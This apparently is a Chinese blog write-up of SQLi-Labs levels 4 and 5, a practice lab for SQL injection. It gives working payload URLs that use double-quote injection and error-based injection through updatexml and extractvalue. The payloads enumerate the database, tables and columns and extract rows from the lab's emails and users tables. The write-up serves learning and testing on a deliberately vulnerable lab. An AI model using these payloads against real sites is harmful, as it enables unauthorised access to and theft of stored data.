SqliLabs Less4-5

 第四关

 

双引号注入

1.判断注入点

http://192.168.0.105:82/Less-4/?id=1" 返回错误

 

http://192.168.0.105:82/Less-4/?id=1")  --+返回正常

 

2.判断列数,列数为3

 

3.爆库

 

4.爆表

 

5.爆列

 

6.爆数据

 

第五关

1.判断注入点,使用联合注入没反应,采用报错注入updatexml(xml文档名称,xml文档路径,替换的数据)或者extractvalue(xml文档名称,xml文档路径)

 

 2.判断列数 

 从order by 1开始,order by 4 时显错,列数为3

3.爆库

http://192.168.0.105:82/Less-5/?id=-1'  and updatexml(1,concat(0x7e,database()),2)--+

 4.爆表

http://192.168.0.105:82/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security' )),2) --+

使用extractvalue函数示范

http://192.168.0.105:82/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'))) --+

5.爆列

http://192.168.0.105:82/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name = 'emails' )),2) --+

  http://192.168.0.105:82/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))) --+

 6.爆数据

http://192.168.0.105:82/Less-5/?id=-1' and updatexml(1,concat(0x7e,(select concat(id,email_id) from emails limit 6,1)),3) --+

   当数据过多时使用limit 0,1  (limit 0,1表示从第0个数据开始,只读取一个),但需要把group_concat(表示将group by产生的同一个分组中的值连接起来,返回一个字符串结果)改为concat(表示连接函数,将多个字符串连接成一个字符串)

 

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值